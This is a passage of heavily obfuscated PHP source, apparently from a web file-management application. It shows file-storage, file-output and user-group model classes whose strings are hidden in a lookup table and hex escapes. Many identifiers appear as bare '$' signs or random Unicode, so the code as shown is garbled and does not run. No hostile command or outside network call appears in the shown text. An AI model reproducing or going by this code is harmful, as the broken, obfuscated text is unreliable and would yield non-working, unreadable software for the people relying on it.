$this->model->addFileByRemote($ӧ۵[$ٕͫ[396]], $ͅ, $, $, $렜); return $this->getPathOuter($); } public function uploadLink($Ϻ, $ő = 0) { $Ѧ =& $_SERVER[譃]; $ = $this->parse($Ϻ); $⒣ޖ = _get($GLOBALS[$Ѧ[7]], $Ѧ[1327]); $ݥڣ = _get($GLOBALS[$Ѧ[7]], $Ѧ[1328]); $Ϻ = Model($Ѧ[602])->createFileName($[$Ѧ[78]], $⒣ޖ, $ݥڣ); return IO::uploadLink($Ϻ, $ő); } public function fileNameAuto($Ø, $˥, $ԬՋ = REPEAT_REPLACE, $Ϙ = false) { return $this->model->fileNameAuto($Ø, $˥, $ԬՋ, $Ϙ); } public function fileNameExist($, $м) { return $this->model->fileNameExist($, $м); } protected function _fileOut($ҧ, $Γ = false, $ = false, $Ֆ = '', $Ő = false) { $ =& $_SERVER[譃]; $癰 = $this->model->sourceInfo($ҧ); if ($癰[$[407]] == $[89]) { header($[1329]); die; } $ƫ = $this->model->fileInfoGet($ҧ); $Ֆ = $ƫ[$[173]] ? $ƫ[$[173]] : $Ֆ; $ = isset($GLOBALS[$[1330]]) ? $GLOBALS[$[1330]] : $癰[$[32]]; if ($Ő) { return IO::fileOutServer($ƫ[$[78]], $Γ, $, $Ֆ); } IO::fileOut($ƫ[$[78]], $Γ, $, $Ֆ); } public function fileOut($̚, $埤 = false, $ = false, $錭̪ = '') { $this->_fileOut($̚, $埤, $, $錭̪); } public function fileOutServer($, $Ɵ = false, $ߨ = false, $ıҦ = '') { $this->_fileOut($, $Ɵ, $ߨ, $ıҦ, !0); } protected function _fileOutImage($, $ψ = 250) { $ =& $_SERVER[譃]; $ = $this->model->pathInfo($); if ($[$[407]] == $[89]) { show_json($[1331] . $, !1); } $ۋ = $this->model->fileInfoGet($); $ۋ[$[32]] = $[$[32]]; $ۋ[$[166]] = $[$[166]]; $GLOBALS[$[1330]] = $ۋ[$[32]]; $GLOBALS[$[165]] = $ۋ; IO::fileOutImage($ۋ[$[78]], $ψ); } public function fileOutImage($, $ = 250) { $this->_fileOutImage($, $); } public function fileOutImageServer($đ, $ = 250) { $this->_fileOutImage($đ, $); } public function link($һ, $缩 = '') { $ҹ = $this->model->fileInfoGet($һ); return IO::link($ҹ[$_SERVER[譃][78]], $缩); } protected function parse($ϵ) { $ =& $_SERVER[譃]; if (strstr($ϵ, $[8]) === !1) { return array($[416] => intval($ϵ), $[78] => $[12], $[1326] => array()); } $ = explode($[8], trim($ϵ, $[8])); if (count($) < 2) { show_tips(clear_html($ϵ) . $[1332]); } return array($[416] => intval($[0]), $[78] => $[1], $[1326] => array_slice($, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[譃][1325]); } public function getPathOuter($ܤ) { $ =& $_SERVER[譃]; if (!$ܤ) { return $ܤ; } $ = $this->parse($ܤ); return trim(KodIO::makeShare($this->pathParse[$[396]], $[$[396]]), $[8]); } protected function infoParse($, $ij = false, $ = false) { $ =& $_SERVER[譃]; $ = $this->pathParse[$[396]]; $߳ = trim($this->pathParse[$[1167]], $[8]); return Action($[1333])->sharePathInfo($, $߳, $ij); } public function infoFull($ѐ) { $ =& $_SERVER[譃]; $ͻƭ = explode($[8], trim($ѐ, $[8])); if (count($ͻƭ) > 1) { $ = implode($[8], array_splice($ͻƭ, 1)); $̰ = $this->model->pathInfoByPath($ͻƭ[0], $); if (!$̰) { return !1; } $this->pathParse[$[1167]] = $̰[$[399]]; } return $this->infoParse($ѐ); } public function listAll($۶) { $ܻɳ =& $_SERVER[譃]; $Ř = IO::info($this->pathParse[$ܻɳ[78]]); if (!$Ř) { return array(); } $Ϩ = $this->model->listAll($۶); $뾢 = Model($ܻɳ[594])->getInfo($Ř[$ܻɳ[484]]); $ = Action($ܻɳ[1333]); foreach ($Ϩ as &$Đ) { check_abort(); $Đ[$ܻɳ[87]] = $->_shareItemeParse($Đ[$ܻɳ[87]], $뾢); } unset($Đ); return $Ϩ; } } goto Cܩ脂; f: class FileContentModel extends ModelBase { protected $tableName = "\151\157\137\146\x69\154\145\x5f\143\x6f\156\164\x65\156\x74\163"; protected $dataAuto = array(array("\x63\x72\x65\141\164\145\124\x69\x6d\x65", "\x74\x69\x6d\145", "\151\156\x73\x65\162\164", "\146\165\x6e\143\164\x69\157\x6e")); } class FileModel extends ModelBase { protected $tableName = "\151\x6f\x5f\146\x69\154\x65"; protected $tableMeta = array("\164\141\x62\154\x65\x4e\141\155\145" => "\x69\157\137\146\x69\x6c\145\137\x6d\145\x74\141", "\x6d\145\x74\141\x46\x69\145\x6c\144" => "\146\x69\x6c\x65\111\104"); public function fileInfo($ҙ) { $շ =& $_SERVER[譃]; static $ = array(); if (!isset($[$ҙ])) { $Ɩ = $շ[1871]; $ = Model($շ[466])->field($Ɩ)->where(array($շ[464] => $ҙ))->find(); $[$ҙ] = $; } return $[$ҙ]; } public function addFileByContent($ = '', $ = '') { $ =& $_SERVER[譃]; $θ̶ = TEMP_PATH . $[1872]; if (!is_dir($θ̶)) { mk_dir($θ̶); } $̊ = $θ̶ . $[1873] . rand_string(16); file_put_contents($̊, $); $Ü = $this->addFile($̊, $, !0); if (file_exists($̊)) { @unlink($̊); } return $Ü; } public function createFileName($, $ǭ = false, $֫ = false) { $ֶ =& $_SERVER[譃]; $˲ܬ = IO::init($ֶ[8]); $뺃 = $this->makeFilePath($, $˲ܬ, $ǭ, $֫); $ń = $˲ܬ->pathFather($뺃); static $옚 = false; $ = $ֶ[1874] . md5($ń); if (!$옚 && !Cache::get($)) { $옚 = !0; $徣 = IO::mkdir($ń); if (!IO::exist($徣 . $ֶ[795])) { IO::mkfile($徣 . $ֶ[795]); } Cache::set($, 1, 3600 * 2); } return $뺃; } public function makeFilePath($, $ʶג, $æˮ = false, $ = false) { $ =& $_SERVER[譃]; $ = Model($[768])->get($[1875]); $ = KodIO::defaultIO() . date($[1876]); $۩ = $ . rand_string(5) . short_id(100); $ = str_replace($[8], $[11], KodIO::clear($)); $Ӭ = $ʶג->ext($); if (!$) { $ = $[1877]; } switch ($) { case $[1878]: $۩ = $۩ . $[10] . $ʶג->ext($); if ($Ӭ == $[1816]) { $۩ .= $[1551]; } break; case $[1879]: $ = Model($[768])->get($[769]); $ = substr(md5($[770] . $ . date($[746])), 0, 8); $Ļ = KodIO::defaultDriver(); $ = $[1227] . $Ļ[$[396]] . $[406] . date($[1880]) . $ . $[8]; if ($Ӭ == $[1816]) { $ .= $[1551]; } $ʑ֟ = $[1881] . $ . $; CacheLock::lock($ʑ֟); $۩ = $ . $; if (IO::exist($ . $)) { $ = substr($, 0, strlen($) - strlen($Ӭ)); $݈ = $ ? substr($, 0, 5) : ($æˮ ? substr($æˮ, 0, 5) : rand_string(5)); $۩ = $ . $ . $݈ . $[10] . $Ӭ; } if (IO::isTypeObject($۩) && !IO::isUploadServer($۩)) { if (IO::exist($۩)) { return $۩; } $ = IO::setContent($۩, $[12]); if (!$) { show_json($[1882], !1); } } CacheLock::unlock($ʑ֟); break; case $[1877]: break; default: break; } return $۩; } public function addFileByRemote($ޓ, $, $ș = array()) { $ =& $_SERVER[譃]; if (!IO::exist($ޓ)) { return !1; } $ܓ = $ș[$[173]] ? $ș[$[173]] : $[12]; $ = IO::hashMd5($ޓ, $ܓ); $ܞ = KodIO::defaultDriver(); $Ψ = array($[578] => IO::size($ޓ), $[1883] => 1, $[417] => $, $[806] => $ܞ[$[396]], $[418] => $ޓ, $[1884] => $ș[$[174]] ? $ș[$[174]] : IO::hashSimple($ޓ), $[1885] => $ ? $ : $ܓ); if ($ߎ = $this->addFileCheckExist($Ψ[$[174]], $Ψ[$[173]], $Ψ[$[80]])) { return $ߎ; } return $this->addFileData($Ψ); } private function addFileData($Ժ) { $Ԫ =& $_SERVER[譃]; if (!$Ժ) { return !1; } $Ժ[$Ԫ[80]] = intval($Ժ[$Ԫ[80]]); if (!$Ժ[$Ԫ[80]] && strlen($Ժ[$Ԫ[174]]) > 32) { $Ժ[$Ԫ[80]] = intval(substr($Ժ[$Ԫ[174]], 32)); } $ = $this->add($Ժ); return $this->find($); } public function addFile($, $Ġ, $Ğ = false) { $Ӆ =& $_SERVER[譃]; $ϯ = IO::hashSimple($); $ = IO::size($); $͌ٝ = $ <= 1024 * 1024 * 10 ? IO::hashMd5($) : $Ӆ[12]; $ = $Ӆ[1886] . $ϯ; CacheLock::lock($); if ($͌ٝ && $ϯ) { $ = $this->addFileCheckExist($ϯ, $͌ٝ, $); if ($) { CacheLock::unlock($); return $; } } $ = $this->addFileMake($, $, $ϯ, $͌ٝ, $Ġ, $Ğ); $ã = $this->addFileData($); CacheLock::unlock($); if (!$͌ٝ && $ã) { $this->fileMd5Check($ã); } return $ã; } private function fileMd5Check($ψ) { $îτ =& $_SERVER[譃]; $ = array($ψ[$îτ[463]], $ψ[$îτ[78]]); $ʲ = $îτ[1887] . $ψ[$îτ[78]]; $ = $îτ[1888] . $ψ[$îτ[463]]; $ = TaskQueue::add($îτ[1889], $, $ʲ, $); if (!$) { $this->fileMd5Set($ψ[$îτ[463]], $ψ[$îτ[78]]); } else { TaskQueue::addSubmit(); } } public function fileMd5Set($ҁ, $զ֮) { $ŜƝ =& $_SERVER[譃]; $ٝ = $this->find($ҁ); if (!$ٝ || $ٝ[$ŜƝ[173]]) { return; } $ = IO::hashMd5($զ֮); if (!$) { return $ŜƝ[12]; } $this->where(array($ŜƝ[463] => $ҁ))->save(array($ŜƝ[173] => $)); } public function addFileMake($, $̔, $Ä, $, $, $ʖ) { $ =& $_SERVER[譃]; $蠰 = $this->createFileName($, $Ä, $); $ފΩ = get_path_father($蠰); $ܵ = get_path_this($蠰); if ($ʖ) { $ز = IO::move($, $ފΩ, !1, $ܵ); } else { $ز = IO::copy($, $ފΩ, !1, $ܵ); } if (!$ز) { return !1; } $ = KodIO::defaultDriver(); $۶ό = array($[578] => $̔, $[1883] => 1, $[417] => $, $[806] => $[$[396]], $[418] => $蠰, $[1884] => $Ä, $[1885] => $); return $۶ό; } public function addFileCheckExist($未, $˵, $؍) { $ =& $_SERVER[譃]; $ = $this->findByHash($未, $˵); if (!$) { return !1; } $ְ = array($[1883] => intval($[$[1890]]) + 1, $[578] => $؍); $this->where(array($[464] => $[$[463]]))->save($ְ); return $; } public function remove($) { $this->linkCountChange($, !1); $this->clearEmpty(); return !0; } public function linkAdd($ӭ) { $this->linkCountChange($ӭ, !0); } public function linkCountChange($Ρ, $) { $ݸ =& $_SERVER[譃]; if (!$Ρ) { return; } if (!is_array($Ρ)) { $Ρ = array($Ρ); } $ = array(); foreach ($Ρ as $фʛ) { $ = $фʛ . $ݸ[12]; if (!$[$]) { $[$] = 0; } $[$]++; } $ݱ = array(); foreach ($ as $фʛ => $) { $ = $ . $ݸ[12]; if (!$ݱ[$]) { $ݱ[$] = array(); } $ݱ[$][] = $фʛ; } foreach ($ݱ as $ => $ϖ) { if (!$ϖ) { continue; } $ = $ ? $ : -intval($); $ԣ = array($ݸ[463] => array($ݸ[7], $ϖ)); if ($ < 0) { $ԣ[$ݸ[1890]] = array($ݸ[1015], abs($)); } $this->where($ԣ)->setAdd($ݸ[1890], $); } } public function findByHash($ϸ, $ɳ = false) { $ϗ =& $_SERVER[譃]; if (!$ϸ && !$ɳ) { return !1; } $ٮ = array($ϗ[1884] => $ϸ); if ($ɳ) { $ٮ = array($ϗ[1885] => $ɳ); } return $this->order($ϗ[1891])->where($ٮ)->find(); } public function clearEmpty($в = 0) { $ =& $_SERVER[譃]; $Ѳ = time() - 3600 * 24 * $в; $ = $[1892] . $Ѳ; $נ = $this->where($)->select(); if (!$נ) { return; } $ޥ = new Task($[1893], $[12], count($נ)); foreach ($נ as $) { $ޥ->update(1); $this->resetFile($); } $ޥ->end(); } public function resetFile($) { $° =& $_SERVER[譃]; $䳵 = array($°[464] => $[$°[463]]); $ = Model($°[1325])->where($䳵)->count(); $ߓ = Model($°[1894])->where($䳵)->count(); $ݟ = intval($) + intval($ߓ); if ($ݟ == 0) { IO::remove($[$°[78]]); Model($°[1895])->delete($[$°[463]]); $this->where($䳵)->delete(); $this->metaSet($[$°[463]], null, null); return; } if ($[$°[1890]] != $ݟ) { $this->where($䳵)->save(array($°[1883] => $ݟ)); } } public function storageInfo($ = false) { $ =& $_SERVER[譃]; $ = $this->count() + 0.0; $ = 0; $ = 1; $й = 0; $ = 5000; for ($Ӓ = 0; $Ӓ < $; $Ӓ = $Ӓ + $) { $ƈ = $this->limit($Ӓ, $Ӓ + $)->select(); foreach ($ƈ as $ʫؗ) { $ += $ʫؗ[$[80]] * $ʫؗ[$[1890]]; $ += $ʫؗ[$[80]] * ($ʫؗ[$[1890]] - 1); $й += $ʫؗ[$[1890]]; } } $̗ = array($[1896] => $, $[1897] => $, $[1898] => $ / $, $[84] => $, $[1899] => $й); return $̗; } } class GroupModel extends ModelBase { protected $tableName = "\x67\162\x6f\x75\x70"; protected $tableMeta = array("\164\141\x62\x6c\145\x4e\x61\x6d\145" => "\147\x72\x6f\x75\160\137\x6d\145\x74\x61", "\x6d\145\164\x61\106\x69\x65\154\144" => "\147\162\157\x75\160\x49\x44"); protected function cacheFunctionAlias($) { $舲 =& $_SERVER[譃]; return array($舲[1900] => array($[0], $舲[1901]), $舲[1902] => array($[0], $舲[1903])); } protected function getInfo($ҧ, $ = false) { $ = $this->getInfoSimple($ҧ); if (!$) { return !1; } if ($) { return $this->_listDataApplyItem($); } return $this->cacheFunctionGet($_SERVER[譃][1904], $ҧ); } protected function getInfoSimple($֩, $ = false) { $ =& $_SERVER[譃]; if ($) { $ = array($[1823] => intval($֩)); $Ӄ = $this->where($)->find(); return is_array($Ӄ) ? $Ӄ : array(); } return $this->cacheFunctionGet($[1905], $֩); } protected function groupAdd($ѩ) { $ =& $_SERVER[譃]; if (!$ѩ[$[494]] && isset($ѩ[$[1823]]) && $ѩ[$[1823]] == 1) { if ($ = $this->getInfoSimple($ѩ[$[1823]], !0)) { return $ѩ[$[1823]]; } } else { $ = $this->getInfoSimple($ѩ[$[494]]); if (!$) { return !1; } } $ّ = $[527]; if ($[$[517]]) { $ّ = $[$[517]] . $[$[1823]] . $[50]; } $Ù = array($[417] => $this->groupNameAuto($ѩ[$[494]], $ѩ[$[32]]), $[398] => $ѩ[$[494]], $[583] => $ّ, $[1906] => $ѩ[$[1810]], $[1907] => 0, $[1827] => 0); if (isset($ѩ[$[1846]])) { $Ù[$[1846]] = $ѩ[$[1846]]; } else { $ = $this->max($[1846]); if (!$) { $ = 0; } $Ù[$[1846]] = $ + 1; } if (!empty($ѩ[$[1823]])) { $Ù[$[1823]] = $ѩ[$[1823]]; } $ = $this->add($Ù); $this->setNamePinyin($, $Ù[$[32]]); if (isset($ѩ[$[1908]])) { $this->metaSet($, array($[1908] => $ѩ[$[1908]], $[1909] => $ѩ[$[1909]])); unset($ѩ[$[1908]]); unset($ѩ[$[1909]]); } Model($[1325])->groupRootAdd($); return $; } protected function groupEdit($, $ǔ) { $ʓ =& $_SERVER[譃]; $ = $this->getInfoSimple($); if (!$) { return !1; } if (!empty($ǔ[$ʓ[494]])) { $Ѥ = $this->getInfoSimple($ǔ[$ʓ[494]]); if (!$Ѥ) { return !1; } if ($[$ʓ[1823]] == $Ѥ[$ʓ[1823]]) { return !1; } if ($ǔ[$ʓ[494]] != $[$ʓ[494]]) { if ($Ѥ[$ʓ[517]] !== $[$ʓ[517]] && strpos($Ѥ[$ʓ[517]], $[$ʓ[517]] . $[$ʓ[1823]] . $ʓ[50]) === 0) { return !1; } $ǔ[$ʓ[583]] = $Ѥ[$ʓ[517]] . $ǔ[$ʓ[494]] . $ʓ[50]; $this->_changeChildLevel($, $Ѥ); } } if (isset($ǔ[$ʓ[32]])) { $this->setNamePinyin($, $ǔ[$ʓ[32]]); } if (isset($ǔ[$ʓ[1908]])) { $this->metaSet($, array($ʓ[1908] => $ǔ[$ʓ[1908]], $ʓ[1909] => $ǔ[$ʓ[1909]])); unset($ǔ[$ʓ[1908]]); unset($ǔ[$ʓ[1909]]); } $this->_clearChildrenCache($); return $this->where(array($ʓ[1910] => $))->save($ǔ); } private function _clearChildrenCache($ς) { $¾ =& $_SERVER[譃]; $ = array($¾[583] => array($¾[543], $ς[$¾[517]] . $ς[$¾[1823]] . $¾[544])); $Ŧ = $this->field($¾[1823])->where($)->select(); foreach ($Ŧ as $ѯ) { $this->_clearCache($ѯ[$¾[1823]]); } } private function _clearCache($) { $ =& $_SERVER[譃]; $this->cacheFunctionClear($[1904], $); $this->cacheFunctionClear($[1905], $); } private function _changeChildLevel($˄, $ԛ, $Ȱ = false) { $۸ =& $_SERVER[譃]; $勪 = $˄[$۸[517]] . $˄[$۸[1823]] . $۸[50]; $퍍Њ = $ԛ[$۸[517]] . $ԛ[$۸[1823]] . $۸[50] . $˄[$۸[1823]] . $۸[50]; if ($Ȱ) { $퍍Њ = $ԛ[$۸[517]] . $ԛ[$۸[1823]] . $۸[50]; } $߾ = array($۸[583] => array($۸[543], $˄[$۸[517]] . $˄[$۸[1823]] . $۸[544])); $֡ = array($۸[583] => array($۸[592], "\162\145\160\x6c\141\143\x65\50\x70\141\x72\x65\x6e\164\x4c\x65\x76\145\154\54\47{$勪}\47\x2c\x27{$퍍Њ}\x27\51")); $this->_clearChildrenCache($˄); $this->where($߾)->data($֡)->save(); } public function setNamePinyin($̓, $ = false) { $ =& $_SERVER[譃]; if (!$) { $ē = $this->getInfoSimple($̓); $ = $ē[$[32]]; } if (!Input::check($, $[586])) { $this->metaSet($̓, $[460], null); $this->metaSet($̓, $[459], null); return; } $ᢆ = array($[460] => str_replace($[53], $[12], Pinyin::get($)), $[459] => Pinyin::get($, $[587])); $this->metaSet($̓, $ᢆ); } protected function groupStatus($, $ȱ) { $ =& $_SERVER[譃]; $ = $this->getInfoSimple($); if (!$) { return !1; } if ($ȱ == $[89]) { $ɥݲ = $this->parentLevelArray($[$[517]]); } else { $ơ = array($[583] => array($[543], $[$[517]] . $[$[1823]] . $[544])); $ɥݲ = $this->where($ơ)->field($[1823])->select(); $ɥݲ = array_to_keyvalue($ɥݲ, $[12], $[1823]); } $ɥݲ[] = $[$[1823]]; $ = array(); foreach ($ɥݲ as $) { $[] = array($[1823] => $, $[95] => $[748], $[373] => $ȱ); $this->_clearCache($); } return Model($[1911])->addAll($, array(), !0); } protected function groupRemove($, $ = false) { $ô =& $_SERVER[譃]; $ç = array($ô[1823] => $); $ = $this->where($ç)->find(); if (!$ || $[$ô[494]] == 0) { return !1; } if (!$) { $Ȏ = $this->getInfoSimple($[$ô[494]]); $this->_changeChildLevel($, $Ȏ, !0); $this->where(array($ô[494] => $))->save(array($ô[494] => $[$ô[494]])); } Model($ô[1911])->where($ç)->delete(); Model($ô[1912])->where($ç)->delete(); Model($ô[823])->groupRootRemove($); return $this->where($ç)->delete(); } protected function groupSort($ӭ) { $̽ =& $_SERVER[譃]; $ = array(); foreach ($ӭ as $ˇ͂ => $) { $[] = array($̽[1823], $, $̽[1846], $ˇ͂ + 1); } $this->saveAll($); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[譃][368]]); return $; } private function _makeOrder($ = '') { $͕ =& $_SERVER[譃]; $ = array($͕[1823], $͕[32], $͕[1812], $͕[197]); $Ð = array($͕[444] => $͕[445], $͕[446] => $͕[447]); $ = Input::get($͕[451], $͕[7], $͕[1827], $); $ŗ = Input::get($͕[452], $͕[7], $͕[1913], array($͕[1913], $͕[446])); $ŗ = $Ð[$ŗ]; $ = $ . "{$}\x20{$ŗ}\x2c\x20\147\162\x6f\x75\x70\x49\104\40\141\163\143"; return $this->order($); } public function listChild($̑ɐ) { $ =& $_SERVER[譃]; $ = $this->where(array($[494] => $̑ɐ))->_makeOrder()->selectPage(200); $this->_listDataApply($[$[368]]); return $; } public function listChildIds($) { $Ň⨸ =& $_SERVER[譃]; if (is_string($)) { $ = explode($Ň⨸[50], $); } $ = $this->where(array($Ň⨸[1823] => array($Ň⨸[7], $)))->field($Ň⨸[1914])->select(); if (!$) { return !1; } $☽ = array(); foreach ($ as $) { $☽[] = "\163\145\154\x65\143\164\40\x67\162\157\165\160\x49\x44\x20\x66\162\x6f\155\x20\140\147\x72\157\165\x70\x60\40\167\150\x65\162\x65\x20\x70\141\x72\x65\156\x74\x4c\x65\166\145\x6c\40\154\151\x6b\x65\x20\47{$[$Ň⨸[517]]}{$[$Ň⨸[1823]]}\54\x25\x27"; } $☽ = implode($Ň⨸[1915], $☽); $ = $this->query($☽); if (!$) { return array(); } $ = array_to_keyvalue($, $Ň⨸[12], $Ň⨸[1823]); return array_unique($); } public function listByID($) { $ =& $_SERVER[譃]; if (!$) { return array(); } $Ӻط = array($[1823] => array($[7], $)); $ = $this->where($Ӻط)->select(); $ = array_sort_keep($, $[1823], $); $this->_listDataApply($); return $; } public function listSearch($ق) { $ =& $_SERVER[譃]; $բ = $ق[$[1916]]; $ԉ = isset($ق[$[1917]]) ? $ق[$[1917]] : !1; if (!trim($բ)) { return !1; } $բ = str_replace($[1918], $[1919], $բ); $ = array($[1823] => array($[382], "{$բ}\45"), $[32] => array($[382], "\x25{$բ}\x25"), $[1000] => $[1920]); if ($ԉ) { $ = $this->getInfoSimple($ԉ); $써 = $[$[517]] . $ԉ . $[544]; $ = array($, array($[517] => array($[382], $써))); } $ = $this->parseWhereLike($); $Ն = $this->_makeOrder()->where($)->selectPage(20); $Ն = $Ն ? $Ն : array($[368] => array(), $[365] => array()); if (!$Ն || count($Ն[$[368]]) < 5 && Input::check($բ, $[317])) { $⸭ = $this->groupChildrenAll($ԉ); $ = $this->_searchFromMeta($[459], $բ, 10, $⸭); $ǒ = $this->_searchFromMeta($[460], $բ, 10, $⸭); $Ԡ؏ = array_merge($, $ǒ, $Ն[$[368]]); $Ն[$[368]] = array_unique_by_key($Ԡ؏, $[1823]); $Ն[$[365]][$[366]] = count($Ն[$[368]]); $Ն[$[365]][$[367]] = ceil($Ն[$[365]][$[366]] / $Ն[$[365]][$[362]]); } $this->_listDataApply($Ն[$[368]]); return $Ն; } protected function groupChildrenAll($ĩ) { $˼ =& $_SERVER[譃]; if (!$ĩ) { return !1; } if (is_string($ĩ)) { $ĩ = array($ĩ); } $ = $ĩ; foreach ($ĩ as $) { $ = $this->getInfoSimple($); $営 = array($˼[517] => array($˼[382], $[$˼[517]] . $ . $˼[544])); $ = $this->field($˼[1823])->where($営)->select(); $ = array_merge($, array_to_keyvalue($, $˼[12], $˼[1823])); } return array_unique($); } private function _searchFromMeta($ްəҜ, $ڤ, $, $) { $ڪ깻 =& $_SERVER[譃]; $ڤ = strtolower($ڤ); $ = array($ڪ깻[95] => $ްəҜ, $ڪ깻[373] => array($ڪ깻[382], "\x25{$ڤ}\x25")); $ = $this->parseWhereLike($); if ($) { $[$ڪ깻[1823]] = array($ڪ깻[7], $); } $ = Model($ڪ깻[1921])->where($)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $ڪ깻[12], $ڪ깻[1823]); $ = $this->where(array($ڪ깻[1910] => array($ڪ깻[7], $)))->select(); if (!$) { return array(); } return $; } protected function _listDataApplyItem($ک) { $ = array($ک); $this->_listDataApply($); return $[0]; } protected function _listDataApply(&$Ҭ) { $Ⲇ =& $_SERVER[譃]; if (!$Ҭ) { return; } $ۋ = array_to_keyvalue($Ҭ, $Ⲇ[12], $Ⲇ[1823]); $this->_listAppendChildren($Ҭ); $this->_listAppendChildrenMember($Ҭ); $this->_listAppendMeta($Ҭ, $ۋ); $this->_listAppendParent($Ҭ); $this->_listAppendSourceRoot($Ҭ, $ۋ); } private function _listAppendChildren(&$͆٭) { $ׁ =& $_SERVER[譃]; $濝ɖ = array_to_keyvalue($͆٭, $ׁ[12], $ׁ[1823]); $ȧ = array($ׁ[494] => array($ׁ[7], $濝ɖ)); $ = array($ׁ[494], $ׁ[1922] => $ׁ[496]); $ = $this->field($)->where($ȧ)->group($ׁ[494])->select(); $⭼ = array_to_keyvalue($, $ׁ[494], $ׁ[496]); foreach ($͆٭ as &$) { $Ĉ = $[$ׁ[1823]]; $[$ׁ[1923]] = isset($⭼[$Ĉ]) ? intval($⭼[$Ĉ]) : !1; } unset($); } private function _listAppendChildrenMember(&$Ѕ) { $ =& $_SERVER[譃]; $ۂǵ = array_to_keyvalue($Ѕ, $[12], $[1823]); $ = array($[1823] => array($[7], $ۂǵ)); $Ţ = array($[1823], $[1922] => $[496]); $ = Model($[1912])->field($Ţ)->where($)->group($[1823])->select(); $ = array_to_keyvalue($, $[1823], $[496]); foreach ($Ѕ as &$́) { $ = $́[$[1823]]; $́[$[1924]] = isset($[$]) ? intval($[$]) : !1; } unset($́); } private function _listAppendMeta(&$ڶ, $ࢼ) { $Ҹ =& $_SERVER[譃]; $ = array($Ҹ[1823] => array($Ҹ[7], $ࢼ)); $ = Model($Ҹ[1911])->where($)->select(); $ = array_to_keyvalue_group($, $Ҹ[1823]); foreach ($ as &$) { $ = array_to_keyvalue($, $Ҹ[95], $Ҹ[373]); } unset($); foreach ($ڶ as &$ɵ) { $ɵ[$Ҹ[461]] = array(); if (isset($[$ɵ[$Ҹ[1823]]])) { $ɵ[$Ҹ[461]] = $[$ɵ[$Ҹ[1823]]]; } } unset($ɵ); } protected function parentLevelArray($Ϸ) { $ÒIJ =& $_SERVER[譃]; $Ϸ = explode($ÒIJ[50], trim($Ϸ, $ÒIJ[50])); $Ϸ = array_remove_value($Ϸ, $ÒIJ[194]); return $Ϸ; } private function _listAppendParent(&$̓) { $ =& $_SERVER[譃]; $ = array(); foreach ($̓ as &$ȭ) { $[$ȭ[$[1823]]] = $ȭ[$[32]]; $ĝ = $this->parentLevelArray($ȭ[$[517]]); foreach ($ĝ as $) { if (!isset($[$])) { $[$] = 0; } } } unset($ȭ); foreach ($ as $ => $) { if ($) { continue; } $ = $this->getInfoSimple($); $[$] = $[$[32]]; } $ = $GLOBALS[$[6]][$[90]][$[1925]]; if ($GLOBALS[$[499]] == $[89]) { $ = !1; } foreach ($̓ as &$ȭ) { $ĝ = $this->parentLevelArray($ȭ[$[517]]); $ = $[12]; foreach ($ĝ as $ => $) { if ($ && $ == 0) { continue; } $ .= $[$] . $[8]; } if ($ĝ) { $ .= $ȭ[$[32]]; } $ȭ[$[522]] = str_replace($[525], $[8], $); } unset($ȭ); } private function _listAppendSourceRoot(&$̅Ӗ, $و) { $ =& $_SERVER[譃]; $ = Model($[823])->listSourceRoot(SourceModel::TYPE_GROUP, $و); $ = array_to_keyvalue($, $[501]); $ = array_remove_key($, $[501]); foreach ($̅Ӗ as &$Ù) { $Ù[$[87]] = $[$Ù[$[1823]]] ? $[$Ù[$[1823]]] : array(); } unset($Ù); } protected function groupMerge($) { $ = array_values(array_unique($)); $ּ = array(); for ($ك = 0; $ك < count($); $ك++) { $痬 = !1; for ($ʯ = 0; $ʯ < count($); $ʯ++) { if ($ك == $ʯ) { continue; } if ($this->isParentOf($[$ʯ], $[$ك])) { $痬 = !0; break; } } if (!$痬) { $ּ[] = $[$ك]; } } return $ּ; } protected function isParentOf($Օ˛, $ײ) { $ =& $_SERVER[譃]; if (!$Օ˛ || !$ײ || $Օ˛ == $ײ) { return !1; } $ = $this->getInfoSimple($Օ˛); $ = $this->getInfoSimple($ײ); $ه = $[$[517]] . $Օ˛ . $[50]; if (substr($[$[517]], 0, strlen($ه)) == $ه) { return !0; } return !1; } public function groupShowRoot($ݕ, $ƛ = false) { $ʠ =& $_SERVER[譃]; $Ƀ = $this->getInfo($ݕ); if (!$Ƀ) { return array(); } $ϙ = $this->parentLevelArray($Ƀ[$ʠ[517]]); $ = array($ݕ); if (count($ϙ) == 0) { return $; } if ($ƛ && count($ϙ) == 1) { return $; } if (!$Ƀ[$ʠ[461]] || !isset($Ƀ[$ʠ[461]][$ʠ[1908]]) || $Ƀ[$ʠ[461]][$ʠ[1908]] == $ʠ[1877]) { return $this->groupShowRoot($ϙ[count($ϙ) - 1], $ƛ); } if ($Ƀ[$ʠ[461]][$ʠ[1908]] == $ʠ[356]) { $͘ = explode($ʠ[50], $Ƀ[$ʠ[461]][$ʠ[1909]]); if ($͘) { $ = array_merge($, $͘); } } return $; } protected function resetParentLevel() { $ =& $_SERVER[譃]; $ = $[1823]; $ = $this->select(); $ = array_to_keyvalue($, $); foreach ($ as $ι) { $ = $ι; $ = array(); while ($[$[494]] != 0) { $[] = $[$[494]]; $ = $[$[$[494]]]; } $[] = 0; $ = $[50] . implode($[50], array_reverse($)) . $[50]; $this->setNamePinyin($ι[$], $ι[$[32]]); $this->where(array($ => $ι[$]))->save(array($[583] => $)); } return $; } public function groupNameAuto($Ŝ, $) { $ť =& $_SERVER[譃]; $ = $this->where(array($ť[398] => $Ŝ))->getField($ť[32], !0); if (!$ || !in_array($, $)) { return $; } for ($ = 1; $ <= count($) + 1; $++) { $ = $ . "\50{$}\x29"; if (!in_array($, $)) { return $; } } } public function groupSwitch($ҫ, $) { $ў =& $_SERVER[譃]; $ծ = array($ў[1823] => array($ў[7], array($ҫ, $))); $ɩ = $this->where($ծ)->select(); $ɩ = array_to_keyvalue($ɩ, $ў[1823]); if (!isset($ɩ[$ҫ]) || !isset($ɩ[$]) || $ɩ[$ҫ][$ў[494]] == 0) { return !1; } $ծ = array($ў[1823] => $ҫ); $ݤ = Model($ў[1912])->where($ծ)->select(); if (!$ݤ) { $ݤ = array(); } foreach ($ݤ as $۳Ϻ) { $ = $۳Ϻ[$ў[1655]]; $ծ = array($ў[1655] => $, $ў[1823] => $); $ = Model($ў[1912])->where($ծ)->find(); if (!$) { $Ӱ = array($ => $۳Ϻ[$ў[1926]]); Model($ў[537])->userGroupAdd($, $Ӱ); } 